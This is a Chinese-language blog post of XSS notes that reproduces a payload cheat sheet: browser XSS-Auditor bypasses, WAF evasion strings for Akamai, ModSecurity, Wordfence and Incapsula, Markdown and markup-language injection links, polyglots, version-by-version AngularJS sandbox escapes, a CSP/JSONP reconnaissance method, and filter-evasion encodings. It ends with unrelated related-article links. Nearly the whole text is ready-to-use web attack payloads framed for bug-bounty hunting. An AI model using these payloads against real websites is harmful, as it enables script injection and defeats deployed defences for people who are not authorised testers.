XSS笔记-来源于个人思路构造以及网络分享
XSS渗透笔记
javascript禁用后用于提升漏洞危害,适用于SRC挖掘
"><style>body{display:none}</style>
Chrome XSS-Auditor 绕过 by @vivekchsm
<svg><animate xlink:href=#x attributeName=href values=javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
Chrome < v60 beta XSS-Auditor 绕过
<script src="data:,alert(1)%250A-->
Other Chrome XSS-Auditor 绕过
<script>alert(1)</script
<script>alert(1)%0d%0a-->%09</script
``````html
<x>%00%00%00%00%00%00%00<script>alert(1)</script>
Safari XSS 向量 by @mramydnei
<script>location.href;'javascript:alert%281%29'</script>
XSS 变种 by Ahmed Elsobky
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Kona WAF (Akamai) 绕过
\');confirm(1);//
ModSecurity WAF 绕过 注意:这取决于应用程序设置的安全级别。参见:GitHub - SpiderLabs/ModSecurity: ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx that is developed by Trustwave's SpiderLabs. It has a robust event-based programming language which provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis. With over 10,000 deployments world-wide, ModSecurity is the most widely deployed WAF in existence.
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
Wordfence XSS 绕过
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
Incapsula WAF 绕过 by @i_bo0om
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
jQuery < 3.0.0 XSS by Egor Homakov
$.get('http://sakurity.com/jqueryxss')
为了真正利用这个jQuery XSS,你需要满足以下要求之一:
1)发现任何跨域请求到不受信任的域,可能会无意中执行脚本。 2)找到任何可以将脚本注入数据源的可信API端点的请求。
URL 验证绕过 (没有 也行)
javas	cript://www.google.com/%0Aalert(1)
Markdown XSS
[a](javascript:confirm(1))
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a]: (javascript:prompt(1))
[a]:(javascript:alert(1)) //Add SOH Character
Flash SWF XSS
_Note:关于构建基于flash的XSS有效负载的有用参考资料[MWR Labs](https://labs.mwrinfosecurity.com/blog/poppingalert1 -in-flash/)._Lightweight Markup Languages
RubyDoc (.rdoc)
XSS[JavaScript:alert(1)]
Textile (.textile)
"Test link":javascript:alert(1)
reStructuredText (.rst)
`Test link`__.
__ javascript:alert(document.domain)
Unicode 编码
†‡•<img src=a onerror=javascript:alert('test')>…‰€
AngularJS 模板注入 XSS
要对活动目标进行手动验证,请使用“angular”。版本'在您的浏览器控制台1.0.1 - 1.1.5 by Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1 by Jan Horn (Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18 by Jan Horn (Google)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23 by Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0 by Gábor Molnár (Google)
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
1.3.19 by Gareth Heyes (PortSwigger)
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}
1.3.20 by Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8 by Ian Hickey
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11 by Jan Horn (Google)
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
1.6.0+ (no Expression Sandbox) by Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
Content Security Policy (CSP) 绕过 ,通过 JSONP
获取目标 CSP:
curl -I http://example.com | grep 'Content-Security-Policy'
现在,我们可以使用谷歌dork在上面列出的域中找到一些JSONP端点。
site:example.com inurl:callback
多语种XSS测试
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
调用函数的 JS 模板字面量
<svg onload=alert`1`></svg>
<script>alert`1`</script>
避免关键字和特定子字符串,如已经在JS代码里
(alert)(1)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
改变大小写
有时,正则表达式或其他定制过滤器会进行区分大小写的匹配。然后,您可以只使用 toLowerCase(),例如:
globalThis["aLeRt".toLowerCase()]
双重编码
有时应用程序会在再次解码之前对字符串执行 XSS 过滤,这会使过滤器绕过打开它。这非常罕见,
字符 双编码
< %253C
> %253E
( %2528
) %2529
" %2522
' %2527
如果想学好XSS慢慢研究学习相关的模板语言。
XSS
XSS干货-来源于个人思路构造以及网络分享 - 好黑客
XSS笔记-来源于个人思路构造以及网络分享相关推荐
- 深度学习笔记(27) 经典卷积网络
深度学习笔记(27) 经典卷积网络 1. 前言 2. LeNet-5 3. AlexNet 4. VGGNet 1. 前言 讲了基本构建,比如卷积层.池化层以及全连接层这些组件 事实上,过去几年计算机 ...
- 深度学习笔记(12) Batch归一化网络
深度学习笔记(12) Batch归一化网络 1. Batch归一化 2. 激活值归一化 3. 特殊情况不归一化 4. mini-batch上的Batch归一化 1. Batch归一化 Batch归一化 ...
- 深度学习入门笔记(八):深层网络的原理
欢迎关注WX公众号:[程序员管小亮] 专栏--深度学习入门笔记 声明 1)该文章整理自网上的大牛和机器学习专家无私奉献的资料,具体引用的资料请看参考文献. 2)本文仅供学术交流,非商用.所以每一部分具 ...
- Deep Learning论文笔记之(七)深度网络高层特征可视化
Deep Learning论文笔记之(七)深度网络高层特征可视化 zouxy09@qq.com http://blog.csdn.net/zouxy09 自己平时看了一些论文,但老感 ...
- 深度学习笔记(46) 深度卷积网络学习
深度学习笔记(46) 深度卷积网络学习 1. 学习内容 2. 第一层 3. 第二层 4. 第三层 5. 第四层 6. 第五层 1. 学习内容 深度卷积网络到底在学什么? 来看一个例子,假如训练了一个卷 ...
- XSS测试绕过WAF思路
今天继续给大家介绍渗透测试相关知识,本文主要内容是XSS测试绕过WAF思路. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未 ...
- 最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下。...
最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下. 转载于:https://www.cnblogs.com/oshoh/p/5493880.html
- RCNN学习笔记——第三篇: 实现FRCNN网络训练、评价与预测(附全部源码)
RCNN学习笔记--第三篇: 实现FRCNN网络训练.评价与预测(附全部源码) 本文是个人根据B站大佬Bubbliiiing的FRCNN系列视频同步完成FRCNN训练,记录心得和遇见的问题. 关于RC ...
- 【PyTorch】构造VGG19网络进行本地图片分类(超详细过程)——项目介绍
本篇博客主要解决以下3个问题: 如何自定义网络(以VGG19为例). 如何自建数据集并加载至模型中. 如何使用自定义数据训练自定义模型. 第一篇:[PyTorch]构造VGG19网络进行本地图片分类( ...
最新文章
- 小小的Python编程故事
- jQuery Pagination分页插件的使用
- faster rcnn源码解读(五)之layer(网络里的input-data)
- halcon append_ocr_trainf 将字符添加到训练文件中
- 如何机智的弄坏一台电脑?
- leetcode刷题:搜索旋转排序数组
- 腾讯2014在广州站实习生offer经验(TEG-开发背景)
- Linux 编译debug内核
- 操作系统---IO设备
- perl 产生随机数
- Spring Boot Admin 基于security 认证监控
- Grafana自定义报警
- 3.PMAC硬件-组成和接口及安装
- ubuntu如何降级到之前的版本
- 关于报错Unknown custom element:did you register the component correctly? For recursive components的解决方式
- 特征工程 | 信息价值IV与群体稳定性PSI
- [CSP-S模拟测试]:壕游戏(费用流)
- Java实现三国曹操华容道的游戏
- 游戏手柄HID描述符
- 第七天(OSPF的优化及拓展配置)
热门文章
- 谷歌ai人工智能叫什么_用Google新的AI强大工具翻译古代象形文字
- 齿坯基准面径向和端面圆跳动公差(μm)
- Pixelmator Pro为您抓住照片的质感,适合每个人的专业编辑图像工具
- 期末考试查分,基于青果高校教务系统的一个自动python脚本代码。
- 一个高中生的编程自学经历
- java还原三阶魔方_魔方小站四阶魔方教程2 一看就懂的魔方教程(魔方玩法视频教程+还原公式一步一步图解+3D动画)...
- sql中的left join 查询
- 高纯度钨酸铜粉末/钨酸铁粉末/钨酸亚铁粉末/硫化铋粉末/铬酸铋粉末/氧化锆粉末/铬酸钡粉末
- docker 部署jenkins + sonarqube + postgresql 代码扫描
- 服务器的回收站在哪个文件夹,Windows系统回收站的文件保存在哪个磁盘上